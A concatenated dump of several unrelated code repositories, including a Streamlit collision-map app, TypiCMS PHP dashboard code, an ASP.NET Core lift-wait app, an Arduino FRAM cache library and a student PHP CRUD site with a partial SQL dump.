st.markdown('Vehicle collisions between %i:00 and %i:00' % (hour, (hour + 1) % 24))
midpoint = (np.average(data['latitude']), np.average(data['longitude']))
# Let's initialize a map using pydeck framework for a 3d map plot
st.write(pdk.Deck(
map_style='mapbox://styles/mapbox/light-v9',
initial_view_state={
'latitude':midpoint[0],
'longitude': midpoint[1],
'zoom': 11,
'pitch': 50
},
layers=[
pdk.Layer(
'HexagonLayer',
data=data[['date/time', 'latitude', 'longitude']],
get_position=['longitude', 'latitude'],
radius=100,
extruded=True,
pickable=True,
elevation_scale=4,
elevation_range=[0,1000]
)
]
))
st.subheader('Breakdown by minute between %i:00 and %i:00' % (hour, (hour + 1) % 24))
filtered = data[
(data['date/time'].dt.hour >= hour)&(data['date/time'].dt.hour < (hour + 1))
]
hist = np.histogram(filtered['date/time'].dt.minute, bins=60, range=(0,60))[0]
chart_data = pd.DataFrame({'minute':range(60), 'crashes':hist})
fig = px.bar(chart_data, x='minute', y='crashes', hover_data=['minute', 'crashes'], height=400)
st.write(fig)
st.header('Top 5 dangerous streets by affected type os people')
select = st.selectbox('Affected type of people', ['Pedestrians', 'Cyclists', 'Motorists'])
if select == 'Pedestrians':
st.write(original_data.query('`number of pedestrians injured` >= 1')[['on street name', 'number of pedestrians injured']].sort_values(by=['number of pedestrians injured'], ascending=False).dropna(how='any')[:5])
elif select == 'Cyclists':
st.write(original_data.query('`number of cyclist injured` >= 1')[['on street name', 'number of cyclist injured']].sort_values(by=['number of cyclist injured'], ascending=False).dropna(how='any')[:5])
else:
st.write(original_data.query('`number of motorist injured` >= 1')[['on street name', 'number of motorist injured']].sort_values(by=['number of motorist injured'], ascending=False).dropna(how='any')[:5])
if st.checkbox("Show Raw Data", False):
st.subheader('Raw Data')
st.write(data)
<file_sep>/requirements.txt
numpy==1.18.5
pandas==1.1.1
plotly==4.9.0
pydeck==0.5.0b1
streamlit==0.69.2
| 502f2cecd113e187132c1a0a70dc34f892bd60a2 | [
"Markdown",
"Python",
"Text"
] | 3 | Markdown | junnaruse99/DS_Web_APP | 02ee70278e8754f93f3ea61479d262b5b2f7292b | 670b51e227d403fbb63654b5e9d8c22856216fb9 |
refs/heads/master | <file_sep><?php
/*
|--------------------------------------------------------------------------
| Available modules
|--------------------------------------------------------------------------
*/
return array(
'Pages' => [
'menu' => true,
'dashboard' => true,
'model' => 'TypiCMS\Modules\Pages\Models\Page'
],
'Galleries' => [
'menu' => true,
'dashboard' => true,
'model' => 'TypiCMS\Modules\Galleries\Models\Gallery'
],
'Files' => [
'menu' => true,
'dashboard' => true,
'model' => 'TypiCMS\Modules\Files\Models\File'
],
'Blocks' => [
'menu' => true,
'dashboard' => true,
'model' => 'TypiCMS\Modules\Blocks\Models\Block'
],
'News' => [
'menu' => true,
'dashboard' => true,
'model' => 'TypiCMS\Modules\News\Models\News'
],
'Events' => [
'menu' => true,
'dashboard' => true,
'model' => 'TypiCMS\Modules\Events\Models\Event'
],
'Categories' => [
'menu' => true,
'dashboard' => true,
'model' => 'TypiCMS\Modules\Categories\Models\Category'
],
'Projects' => [
'menu' => true,
'dashboard' => true,
'model' => 'TypiCMS\Modules\Projects\Models\Project'
],
'Places' => [
'menu' => true,
'dashboard' => true,
'model' => 'TypiCMS\Modules\Places\Models\Place'
],
'Partners' => [
'menu' => true,
'dashboard' => true,
'model' => 'TypiCMS\Modules\Partners\Models\Partner'
],
'Menus' => [
'menu' => true,
'dashboard' => false,
'model' => 'TypiCMS\Modules\Menus\Models\Menu'
],
'Menulinks' => [
'menu' => false,
'dashboard' => false,
'model' => 'TypiCMS\Modules\Menulinks\Models\Menulink'
],
'Tags' => [
'menu' => true,
'dashboard' => true,
'model' => 'TypiCMS\Modules\Tags\Models\Tag'
],
'Users' => [
'menu' => true,
'dashboard' => true,
'model' => 'TypiCMS\Modules\Users\Models\User'
],
'Groups' => [
'menu' => true,
'dashboard' => true,
'model' => 'TypiCMS\Modules\Groups\Models\Group'
],
'Translations' => [
'menu' => true,
'dashboard' => false,
'model' => 'TypiCMS\Modules\Translations\Models\Translation'
],
'Contacts' => [
'menu' => true,
'dashboard' => true,
'model' => 'TypiCMS\Modules\Contacts\Models\Contact'
],
);
<file_sep><?php
namespace TypiCMS\Modules\Dashboard\Repositories;
use DB;
use Str;
use Config;
use Sentry;
use TypiCMS\Repositories\RepositoriesAbstract;
class EloquentDashboard extends RepositoriesAbstract implements DashboardInterface
{
public function getWelcomeMessage()
{
if ($welcomeMessageURL = Config::get('typicms.welcomeMessageURL')) {
$ch = curl_init($welcomeMessageURL);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$welcomeMessage = curl_exec($ch);
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) >= 400) {
return '';
}
curl_close($ch);
} else {
$welcomeMessage = Config::get('typicms.welcomeMessage');
}
return $welcomeMessage;
}
public function getModulesList()
{
// Item not cached, retrieve it
$modulesArray = Config::get('modules');
$modulesForDashboard = array();
foreach ($modulesArray as $module => $property) {
$lowerName = strtolower($module);
if ($property['dashboard'] and Sentry::getUser()->hasAccess('admin.' . $lowerName . '.index')) {
$modulesForDashboard[$module]['name'] = $module;
$modulesForDashboard[$module]['route'] = $lowerName;
$modulesForDashboard[$module]['title'] = Str::title(trans($lowerName . '::global.name'));
$modulesForDashboard[$module]['count'] = DB::table($lowerName)->count();
}
}
return $modulesForDashboard;
}
}
| d3b3b42503052951b16d5cbc8087c85533c630f5 | [
"PHP"
] | 2 | PHP | fernandoalves-ink/TypiCMS | e945095615aace16e0d3064e382f6fb519e2fcc0 | 9e3a44f3868ca29ce599a0e5fea0338ee67d3669 |
refs/heads/master | <file_sep>using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.SpaServices.ReactDevelopmentServer;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.EntityFrameworkCore;
using Rollbar.AspNetCore;
using WaitTime.Entities;
namespace WaitTime
{
public class Startup
{
public Startup(IConfiguration configuration, IHostingEnvironment environment)
{
this.Configuration = configuration;
this.Environment = environment;
}
public IConfiguration Configuration { get; }
public IHostingEnvironment Environment { get; }
public void ConfigureServices(IServiceCollection services)
{
//Rollbar needs HttpContext
services.AddSingleton<IHttpContextAccessor, HttpContextAccessor>();
if (!this.Environment.IsDevelopment())
{
//Use Rollbar for logging if not development
services.AddRollbarLogger();
}
//explicitly inject WaitTimeContext into controller instances
services.AddDbContext<WaitTimeContext>(options => options.UseSqlServer(Configuration["DbConnection"]));
services.AddMvc();
// React app production build static file location
services.AddSpaStaticFiles(configuration =>
{
configuration.RootPath = "ClientApp/build";
});
}
// Add middleware to pipeline
public void Configure(IApplicationBuilder app)
{
if (!this.Environment.IsDevelopment())
{
//Use Rollbar to log all unhandled exceptions
app.UseRollbarMiddleware();
//app.UseExceptionHandler("/Home/Error");
}
app.UseStaticFiles();
app.UseSpaStaticFiles();
app.UseMvc(routes =>
{
routes.MapRoute(
name: "default",
template: "{controller}/{action=Index}/{id?}");
});
app.UseSpa(spa =>
{
spa.Options.SourcePath = "ClientApp";
if (this.Environment.IsDevelopment())
{
spa.UseReactDevelopmentServer(npmScript: "start");
}
});
}
}
}
<file_sep>using System;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Metadata;
namespace WaitTime.Entities
{
public partial class WaitTimeContext : DbContext
{
public virtual DbSet<Lift> Lifts { get; set; }
public virtual DbSet<Resort> Resorts { get; set; }
public virtual DbSet<Uplift> Uplifts { get; set; }
protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)
{
if (!optionsBuilder.IsConfigured)
{
#warning To protect potentially sensitive information in your connection string, you should move it out of source code. See http://go.microsoft.com/fwlink/?LinkId=723263 for guidance on storing connection strings.
optionsBuilder.UseSqlServer(@"Server=(local)\SQL2012;Database=LiftLines;Trusted_Connection=True;");
}
}
protected override void OnModelCreating(ModelBuilder modelBuilder)
{
modelBuilder.Entity<Lift>(entity =>
{
entity.ToTable("Lift");
entity.Property(e => e.LiftID).HasColumnName("LiftID");
entity.Property(e => e.Name).HasMaxLength(100);
entity.Property(e => e.OsmId).HasColumnName("OsmID");
entity.Property(e => e.OsmLink)
.HasMaxLength(500)
.IsUnicode(false);
entity.Property(e => e.ResortID).HasColumnName("ResortID");
entity.Property(e => e.TypeId).HasColumnName("TypeID");
entity.HasOne(d => d.Resort)
.WithMany(p => p.Lifts)
.HasForeignKey(d => d.ResortID)
.HasConstraintName("FK_Lift_Resort");
});
modelBuilder.Entity<Resort>(entity =>
{
entity.ToTable("Resort");
entity.Property(e => e.ResortID).HasColumnName("ResortID");
entity.Property(e => e.Name)
.IsRequired()
.HasMaxLength(100);
});
modelBuilder.Entity<Uplift>(entity =>
{
entity.ToTable("Uplift");
entity.Property(e => e.UpliftID).HasColumnName("UpliftID");
entity.Property(e => e.LiftID).HasColumnName("LiftID");
entity.Property(e => e.TrackID).HasColumnName("TrackID");
entity.HasOne(d => d.Lift)
.WithMany(p => p.Uplift)
.HasForeignKey(d => d.LiftID)
.OnDelete(DeleteBehavior.ClientSetNull)
.HasConstraintName("FK_Uplift_Lift");
});
}
}
}
| 714b6150960fbe431b718ba4092f5ab480d20361 | [
"C#"
] | 2 | C# | bradstiff/wait-time-rest | 76312853324319d10fa4f6779978a0c99ffcd447 | 374836fbb0b6c040b2a71da9d6bdc00dc7abf588 |
refs/heads/master | <file_sep>#include <Arduino.h>
#ifndef SKIP_SPI
#include <Adafruit_FRAM_SPI.h>
#endif
#include "FRAM_Cache.h"
#include <string.h>
#include <stdlib.h>
#ifndef memmem
#include "memmem.h"
#endif
#ifdef SKIP_SPI
class Adafruit_FRAM_SPI;
#endif
typedef struct {
uint8_t manufID;
uint16_t prodID;
uint16_t size;
} fram_type_t;
static const fram_type_t fram_types[] = {
{ 0x04, 0x0302, 8192 },
};
static const uint8_t fram_type_count = sizeof(fram_types)/sizeof(fram_type_t);
Cache_Segment::Cache_Segment(Adafruit_FRAM_SPI *fram, uint16_t start_addr,
uint16_t cache_size, uint16_t buffer_size,
uint16_t page_size, uint8_t *buffer_,
bool circular)
{
#ifdef SKIP_SPI
fram = 0;
#endif
m_fram = fram;
m_initialized = false;
m_device_size = 0;
m_mirror = NULL;
#ifndef SKIP_SPI
if (m_fram) {
uint8_t manufID;
uint16_t prodID;
m_fram->getDeviceID(&manufID, &prodID);
for (uint8_t i = 0; i < fram_type_count; i++) {
if (fram_types[i].manufID == manufID &&
fram_types[i].prodID == prodID) {
m_device_size = fram_types[i].size;
break;
}
}
m_empty = 0xFFFFFFFFL;
} else {
#else
if (1) {
#endif
m_device_size = 8192;
m_mirror = new uint8_t[m_device_size];
m_empty = 1;
}
if (m_device_size == 0) {
return;
}
if (start_addr + cache_size > m_device_size) {
return;
}
m_start_addr = start_addr;
m_cache_size = cache_size;
m_cache_mask = cache_size - 1;
m_write_protected = false; // Start off writable
if (buffer_size > cache_size) {
return;
}
if (page_size > buffer_size) {
return;
}
m_page_size = page_size;
m_buffer_size = buffer_size;
if (buffer_) {
m_buffer = buffer_;
} else {
m_buffer = new uint8_t[buffer_size];
}
m_buffer_mask = buffer_size - 1;
m_circular = circular;
m_head = 0;
m_tail = 0;
m_clean = true;
m_curr_addr = 0xFFFF;
m_initialized = true;
}
uint8_t Cache_Segment::read(uint16_t addr)
{
if (!m_initialized) {
return 0;
}
uint16_t line_addr = addr & ~m_buffer_mask;
if (line_addr != m_curr_addr) {
getCacheLine(line_addr);
}
uint16_t offset = addr & m_buffer_mask;
return m_buffer[offset];
}
void Cache_Segment::write(uint16_t addr, uint8_t value)
{
if (!m_initialized || m_write_protected) {
return;
}
uint16_t line_addr = addr & ~m_buffer_mask;
if (line_addr != m_curr_addr) {
getCacheLine(line_addr);
}
uint16_t offset = addr & m_buffer_mask;
m_buffer[offset] = value;
m_clean = false;
uint32_t page_bit = getPageBit(addr);
m_empty &= ~page_bit;
}
void Cache_Segment::oper(uint16_t addr, oper_t oper_, uint8_t value)
{
uint8_t data = read(addr);
switch (oper_) {
case SET_BITS:
data |= value;
break;
case CLEAR_BITS:
data &= ~value;
break;
case TOGGLE_BITS:
data ^= value;
break;
default:
break;
}
write(addr, data);
}
uint32_t Cache_Segment::getPageBit(uint16_t addr)
{
uint16_t bitNum = addr / m_page_size;
return (uint32_t)(1L << (bitNum & 0x1F));
}
void Cache_Segment::clear(void)
{
m_empty = 0xFFFFFFFFL;
m_clean = true;
m_curr_addr = 0xFFFF;
m_head = 0;
m_tail = 0;
}
void Cache_Segment::flushCacheLine(void)
{
if (m_write_protected || m_clean) {
return;
}
#ifndef SKIP_SPI
if (m_fram) {
m_fram->writeEnable(true);
m_fram->write(m_start_addr + m_curr_addr, m_buffer, m_buffer_size);
} else {
#else
if (1) {
#endif
memcpy(&m_mirror[m_start_addr + m_curr_addr], m_buffer, m_buffer_size);
}
m_clean = true;
}
void Cache_Segment::getCacheLine(uint16_t line_addr)
{
// Need to load the cache from the FRAM, flushing first if needed
if (!m_clean) {
flushCacheLine();
}
// Do this in page-size chunks as we track cleared buffer by pages
uint16_t last_page = line_addr + m_buffer_size;
for (uint16_t page_addr = line_addr; page_addr < last_page;
page_addr += m_page_size) {
uint32_t page_bit = getPageBit(page_addr);
bool empty = !(!(m_empty & page_bit));
uint16_t buff_addr = page_addr & m_buffer_mask;
if (!empty) {
#ifndef SKIP_SPI
if (m_fram) {
m_fram->read(m_start_addr + page_addr, &m_buffer[buff_addr],
m_page_size);
} else {
#else
if (1) {
#endif
memcpy(&m_buffer[buff_addr],
&m_mirror[m_start_addr + page_addr], m_page_size);
}
} else {
memset(&m_buffer[buff_addr], 0x00, m_page_size);
}
}
m_clean = true;
m_curr_addr = line_addr;
}
uint16_t Cache_Segment::circularReadAvailable(void)
{
return (m_tail + m_cache_size - m_head) & m_cache_mask;
}
uint16_t Cache_Segment::circularRead(uint8_t *buffer_, uint16_t maxlen,
bool terminate)
{
if (!m_circular)
{
return 0;
}
if (terminate) {
maxlen--;
}
uint16_t avail = circularReadAvailable();
avail = min(avail, maxlen);
uint16_t len = 0;
for (uint16_t i = 0; i < avail; i += len) {
len = min((int)(avail - i), (int)m_buffer_size);
len -= (m_tail & m_buffer_mask);
getCacheLine(m_tail & ~m_buffer_mask);
memcpy(&buffer_[i], m_buffer, len);
m_tail += len;
m_tail &= m_cache_mask;
}
if (terminate) {
buffer_[avail] = '\0';
}
return avail;
}
uint16_t Cache_Segment::circularWriteAvailable(void)
{
return (m_head + m_cache_size - 1 - m_tail) & m_cache_mask;
}
uint16_t Cache_Segment::circularWrite(uint8_t *buffer_, uint16_t len)
{
if (!m_circular)
{
return 0;
}
int16_t wrlen = (int16_t)circularWriteAvailable();
if (len > wrlen) {
return 0;
}
for (uint16_t i = 0; i < len; i++) {
write(m_head, buffer_[i]);
m_head += 1;
m_head &= m_cache_mask;
}
flushCacheLine();
return len;
}
uint16_t Cache_Segment::circularFind(const char *findstr)
{
if (!m_circular)
{
return false;
}
int16_t total = (int16_t)circularReadAvailable();
int16_t len = 0;
int16_t findlen = strlen(findstr);
char *searchstr = (char *)findstr;
int16_t searchlen = findlen;
uint16_t loc = 0;
for (int16_t i = 0; i < total; i += len) {
len = min((int)(total - i), (int)m_buffer_size);
len -= (m_tail & m_buffer_mask);
getCacheLine((m_tail + i) & ~m_buffer_mask);
uint8_t *found = (uint8_t *)memmem(m_buffer, len, searchstr, searchlen);
if (found) {
loc = (m_tail + i + m_buffer + m_cache_size - found) & m_cache_mask;
len = (loc + m_cache_size - m_tail + findlen) & m_cache_mask;
return len;
}
char *searchsubstr = searchstr;
char *substr = (char *)memchr(m_buffer, *searchsubstr++, len);
while (substr) {
uint8_t matched = 0;
uint16_t remlen = len - (substr - (char *)m_buffer);
uint16_t sublen = remlen;
char *searchsub = substr;
do {
matched++;
searchsub++;
if (remlen == 1) {
searchlen -= matched;
break;
}
if (*searchsub != *searchsubstr++) {
searchsubstr = searchstr;
searchlen = findlen;
substr = (char *)memchr(&substr[1], *searchsubstr++,
sublen - 1);
remlen = len - (substr - (char *)m_buffer);
sublen = remlen;
break;
}
remlen--;
} while (remlen);
if (remlen == 1) {
break;
}
}
if (!substr) {
searchstr = (char *)findstr;
searchlen = findlen;
}
}
return 0;
}
// vim:ts=4:sw=4:ai:et:si:sts=4
<file_sep>#ifndef FRAM_CACHE_H__
#define FRAM_CACHE_H__
#include <inttypes.h>
#ifndef SKIP_SPI
#include <Adafruit_FRAM_SPI.h>
#else
class Adafruit_FRAM_SPI;
#endif
class FRAM_Cache;
typedef enum {
SET_BITS,
CLEAR_BITS,
TOGGLE_BITS,
} oper_t;
class Cache_Segment {
public:
Cache_Segment(Adafruit_FRAM_SPI *fram, uint16_t start_addr,
uint16_t cache_size, uint16_t buffer_size,
uint16_t page_size, uint8_t *buffer_ = NULL,
bool circular = false);
uint8_t read(uint16_t addr);
void write(uint16_t addr, uint8_t value);
void oper(uint16_t addr, oper_t oper_, uint8_t value);
void setWriteProtect(bool enable) { m_write_protected = enable; };
void clear(void);
uint8_t *buffer(void) { return m_buffer; };
bool initialized(void) { return m_initialized; };
void flushCacheLine(void);
uint16_t circularReadAvailable(void);
uint16_t circularRead(uint8_t *buffer_, uint16_t maxlen,
bool terminate = true);
uint16_t circularFind(const char *findstr);
uint16_t circularWriteAvailable(void);
uint16_t circularWrite(uint8_t *buffer_, uint16_t len);
protected:
Adafruit_FRAM_SPI *m_fram;
bool m_initialized;
bool m_circular;
uint16_t m_device_size;
uint16_t m_start_addr;
uint16_t m_cache_size;
uint16_t m_cache_mask;
uint16_t m_buffer_size;
uint16_t m_buffer_mask;
uint16_t m_page_size;
bool m_write_protected;
uint8_t *m_buffer;
uint8_t *m_mirror; // when using no actual FRAM
uint32_t m_empty;
bool m_clean;
uint16_t m_curr_addr;
uint16_t m_head; // Where to write if circular
uint16_t m_tail; // Where to read if circular
uint32_t getPageBit(uint16_t addr);
void getCacheLine(uint16_t line_addr);
};
#endif
// vim:ts=4:sw=4:ai:et:si:sts=4
<file_sep>name=FRAM_Cache
version=1.1.2
author=<NAME> <<EMAIL>>
maintainer=<NAME> <<EMAIL>>
sentence=FRAM Cache
paragraph= This library provides FRAM-backed external buffer caching
category=Data Storage
url=https://github.com/Beirdo/Arduino-FRAM-Cache
architectures=*
depends = Adafruit FRAM SPI
<file_sep>#ifndef __memmem_h_
#define __memmem_h_
#ifdef __cplusplus
extern "C" {
#endif
#include <string.h>
// Shamelessly stolen from Android libc.
void *memmem(const void *haystack, size_t n, const void *needle, size_t m);
#ifdef __cplusplus
};
#endif
#endif
<file_sep># Arduino-FRAM-Cache
Arduino library to use an FRAM device as an external cache
| 74c37b9e5c1052b9c48323bb3d6f7b806e13b436 | [
"Markdown",
"C",
"C++",
"INI"
] | 5 | C++ | Beirdo/Arduino-FRAM-Cache | 454bbbe7bc8f2600b2a05085627be65fd6cf653c | daac19e007ddb519f632309e3cc75d66fee304c3 |
refs/heads/master | <repo_name>Leva16/CarsRent<file_sep>/src/main/java/rent/Car.java
package rent;
public class Car {
private String modelName;
private boolean isCarAvailable = true;
public Car (final String modelName) {
this.modelName = modelName;
}
public String getName() {
return modelName;
}
public void setModelName(String modelName) {
this.modelName = modelName;
}
public boolean isCarAvailable() {
return isCarAvailable;
}
public void setCarAvailable(boolean carAvailable) {
isCarAvailable = carAvailable;
}
@Override
public String toString() {
return modelName;
}
}
<file_sep>/src/main/java/rent/Manager.java
package rent;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
public class Manager {
private Map<String, Car> availableCars = new HashMap<>();
private final Object coffee = new Object();
public Manager(final List<Car> carList) {
for (Car car: carList) {
availableCars.put(car.getName(), car);
}
}
public List<Car> getAvailableCars() {
return new ArrayList<>(availableCars.values());
}
public Object getCoffee() { return coffee; }
public Car giveCarToClient(final String carName) {
Car car = availableCars.get(carName);
availableCars.remove(carName);
return car;
}
public void returnRentCar(final Car car) {
availableCars.put(car.getName(), car);
}
}
| 8681cfda48339fa98a5a48716f0a40c087bab985 | [
"Java"
] | 2 | Java | Leva16/CarsRent | 526fdf8028360a787091d77d0992b9540b19596f | a8da951344e738bf584cd2d7abd9f43ed3d31b21 |
refs/heads/master | <file_sep><?php
require('database.php');
$category_id = filter_input(INPUT_POST, 'category_id', FILTER_VALIDATE_INT);
$query = 'SELECT *
FROM category
WHERE categoryID = :category_id';
$statement = $db->prepare($query);
$statement->bindValue(':category_id', $category_id);
$statement->execute();
$category = $statement->fetch(PDO::FETCH_ASSOC);
$statement->closeCursor();
?>
<!DOCTYPE html>
<html id="particles-js">
<script src="./particles.js"></script>
<script src="js/app.js"></script>
<div class="panel" style="display: block;">
<!-- the head section -->
<head>
<?php include './includes/title.php';?>
<link rel="stylesheet" type="text/css" href="sass/main.css">
</head>
<!-- the body section -->
<?php include './includes/header.php';?>
<main>
<h1>Edit category</h1>
<form action="edit_category.php" method="post" enctype="multipart/form-data"
id="add_category_form">
<input type="hidden" name="original_image" value="<?php echo $category['image']; ?>" />
<input type="hidden" name="category_id"
value="<?php echo $category['categoryID']; ?>">
<label>Category ID:</label>
<input type="category_id" name="category_id"
value="<?php echo $category['categoryID']; ?>">
<br>
<label>Subscribers:</label>
<input type="input" name="subs"
value="<?php echo $category['subs']; ?>">
<br>
<label>Name:</label>
<input type="input" name="name"
value="<?php echo $category['name']; ?>">
<br>
<label>dob:</label>
<input type="date" name="dob"
value="<?php echo $category['dob']; ?>">
<br>
<label>Image:</label>
<input type="file" name="image" accept="image/*" />
<br>
<?php if ($category['image'] != "") { ?>
<p><img src="image_uploads/<?php echo $category['image']; ?>" height="150" /></p>
<?php } ?>
<label> </label>
<input type="submit" value="Save Changes">
<br>
</form>
</main>
<?php include './includes/footer.php';?>
</div>
</html><file_sep>
<!DOCTYPE html>
<link rel="stylesheet" type="text/css" href="sass/main.css">
<html>
<!-- the head section -->
<html id="particles-js">
<!-- scripts -->
<script src="./particles.js"></script>
<script src="js/app.js"></script>
<div class="panel" style="display: block;">
<head>
<?php include './includes/title.php';?>
</head>
<!-- the body section -->
<?php include './includes/header.php';?>
<!-- the body section -->
<body>
<header><h1>PHP CRUD</h1></header>
<main>
<h2 class="top">Error</h2>
<p><?php echo $error; ?></p>
</main>
<footer>
<p>© <?php echo date("Y"); ?> PHP CRUD, Inc.</p>
</footer>
</body>
</div>
</html><file_sep><?php
require('database.php');
$record_id = filter_input(INPUT_POST, 'record_id', FILTER_VALIDATE_INT);
$query = 'SELECT *
FROM records
WHERE recordID = :record_id';
$statement = $db->prepare($query);
$statement->bindValue(':record_id', $record_id);
$statement->execute();
$record = $statement->fetch(PDO::FETCH_ASSOC);
$statement->closeCursor();
?>
<!DOCTYPE html>
<link rel="stylesheet" type="text/css" href="sass/main.css">
<!-- the head section -->
<html id="particles-js">
<!-- scripts -->
<script src="./particles.js"></script>
<script src="js/app.js"></script>
<div class="panel" style="display: block;">
<head>
<?php include './includes/title.php';?>
</head>
<!-- the body section -->
<?php include './includes/header.php';?>
<main>
<h1>Edit record</h1>
<form action="edit_record.php" method="post" enctype="multipart/form-data"
id="add_record_form">
<input type="hidden" name="original_image" value="<?php echo $record['image']; ?>" />
<input type="hidden" name="record_id"
value="<?php echo $record['recordID']; ?>">
<label>Category ID:</label>
<input type="category_id" name="category_id"
value="<?php echo $record['categoryID']; ?>">
<br>
<label>subscriber:</label>
<input type="input" name="subs" required
value="<?php echo $record['subs']; ?>">
<br>
<label>Name:</label>
<input type="input" name="name"required
value="<?php echo $record['name']; ?>">
<br>
<label>dob:</label>
<input type="date" name="dob"required
value="<?php echo $record['dob']; ?>">
<br>
<label>Image:</label>
<input type="file" name="image" accept="image/*" />
<br>
<?php if ($record['image'] != "") { ?>
<p><img src="image_uploads/<?php echo $record['image']; ?>" height="150" /></p>
<?php } ?>
<label> </label>
<input type="submit" value="Save Changes">
<br>
</form>
</main>
<?php include './includes/footer.php';?>
</div>
</html><file_sep><?php
// Connect to the database
require_once('database.php');
// Set the default category to the ID of 1
if (!isset($category_id)) {
$category_id = filter_input(INPUT_GET, 'category_id',
FILTER_VALIDATE_INT);
if ($category_id == NULL || $category_id == FALSE) {
$category_id = 1;
}
}
// Get name for current category
$queryCategory = "SELECT * FROM categories
WHERE categoryID = :category_id";
$statement1 = $db->prepare($queryCategory);
$statement1->bindValue(':category_id', $category_id);
$statement1->execute();
$category = $statement1->fetch();
$statement1->closeCursor();
$category_name = $category['categoryName'];
// Get all categories
$queryAllCategories = 'SELECT * FROM categories
ORDER BY categoryID';
$statement2 = $db->prepare($queryAllCategories);
$statement2->execute();
$categories = $statement2->fetchAll();
$statement2->closeCursor();
// Get records for selected category
$queryRecords = "SELECT * FROM records
WHERE categoryID = :category_id
ORDER BY recordID";
$statement3 = $db->prepare($queryRecords);
$statement3->bindValue(':category_id', $category_id);
$statement3->execute();
$records = $statement3->fetchAll();
$statement3->closeCursor();
?>
<!DOCTYPE html >
<html id="particles-js">
<script src="./particles.js"></script>
<script src="js/app.js"></script>
<div class="panel" style="display: block;">
<link rel="stylesheet" type="text/css" href="./sass/main.css">
<?php include './includes/header.php';?>
<main>
<h1>Record List</h1>
<aside>
<!-- display a list of categories in the sidebar-->
<h2>Categories</h2>
<nav>
<ul>
<?php foreach ($categories as $category) : ?>
<li><a href=".?category_id=<?php echo $category['categoryID']; ?>">
<?php echo $category['categoryName']; ?>
</a>
</li>
<?php endforeach; ?>
</ul>
</nav>
</aside>
<section>
<!-- display a table of records from the database -->
<h2><?php echo $category_name; ?></h2>
<table>
<tr>
<th>Image</th>
<th>Name</th>
<th>subscribers</th>
<th>dob</th>
</tr>
<?php foreach ($records as $record) : ?>
<tr>
<td><img src="image_uploads/<?php echo $record['image']; ?>" width="100px" height="100px" /></td>
<td><?php echo $record['name']; ?></td>
<td><?php echo $record['subs']; ?></td>
<td><?php echo $record['dob']; ?></td>
</tr>
<?php endforeach; ?>
</table>
<p><a href="add_record_form.php">Add Records</a></p>
<p><a href="category_list.php">Edit Categories</a></p>
</section>
</main>
<?php include './includes/footer.php';?>
</div>
</html>
<file_sep><?php
require_once('database.php');
// Get all categories
$query = 'SELECT * FROM users
ORDER BY id';
$statement = $db->prepare($query);
$statement->execute();
$users = $statement->fetchAll();
$statement->closeCursor();
?>
<!DOCTYPE html>
<html id="particles-js">
<script src="./particles.js"></script>
<script src="js/app.js"></script>
<div class="panel" style="display: block;">
<!-- the head section -->
<head>
<?php include './includes/title.php';?>
<link rel="stylesheet" type="text/css" href="./sass/main.css">
</head>
<?php include './includes/header.php';?>
<main>
<h1>Users</h1>
<table>
<tr>
<th>Name</th>
<th>Password</th>
</tr>
<!-- Retrieve data as an associative array and output as a foreach loop -->
<?php foreach ($users as $user) : ?>
<tr>
<td><?php echo $user['username']; ?></td>
<td><?php echo $user['password']; ?></td>
</form>
</td>
</tr>
<?php endforeach; ?>
</table>
<p><a href="index.php">Homepage</a></p>
</main>
<?php include './includes/footer.php';?>
</div>
</html><file_sep><?php
session_start();
/**
* Check if the user is logged in.
*/
if(!isset($_SESSION['user_id']) || !isset($_SESSION['logged_in'])){
//User not logged in. Redirect them back to the login.php page.
header('Location: login.php');
exit;
}
require('database.php');
$query = 'SELECT *
FROM categories
ORDER BY categoryID';
$statement = $db->prepare($query);
$statement->execute();
$categories = $statement->fetchAll();
$statement->closeCursor();
?>
<!DOCTYPE html>
<link rel="stylesheet" type="text/css" href="sass/main.css">
<html>
<!-- the head section -->
<html id="particles-js">
<!-- scripts -->
<script src="./particles.js"></script>
<script src="js/app.js"></script>
<div class="panel" style="display: block;">
<head>
<?php include './includes/title.php';?>
</head>
<!-- the body section -->
<?php include './includes/header.php';?>
<main>
<h1>Add Record</h1>
<form action="add_record.php" method="post" enctype="multipart/form-data"
id="add_record_form">
<label>Category:</label>
<select name="category_id">
<?php foreach ($categories as $category) : ?>
<option value="<?php echo $category['categoryID']; ?>">
<?php echo $category['categoryName']; ?>
</option>
<?php endforeach; ?>
</select>
<br>
<label>Name:</label>
<input type="input" name="name" required placeholder="Name">
<br>
<label>Subscribers:</label>
<input type="input" name="subs" required placeholder=" sub count">
<br>
<label>dob:</label>
<input type="date" name="dob" required>
<br>
<label>Image:</label>
<input type="file" name="image" accept="image/*" />
<br>
<br>
<label>Image:</label>
<input type="file" name="image" accept="image/*" />
<br>
<label> </label>
<input type="submit" value="Add Record">
<br>
</form>
</main>
<?php include './includes/footer.php';?>
</div>
</html><file_sep>
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Database: `d00218440`
--
-- --------------------------------------------------------
--
-- Table structure for table `categories`
--
CREATE TABLE `categories` (
`categoryID` int(11) NOT NULL,
`categoryName` varchar(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `categories`
--
INSERT INTO `categories` (`categoryID`, `categoryName`) VALUES
(1, 'Gamers'),
(5, 'survival'),
(6, 'Sports'),
(7, 'Music'),
(8, 'Vlogger'),
(9, 'coding/Repair'),
(12, 'test');
-- --------------------------------------------------------
--
-- Table structure for table `records`
--
CREATE TABLE `records` (
`recordID` int(11) NOT NULL,
`categoryID` int(11) NOT NULL,
`subs` varchar(10) NOT NULL,
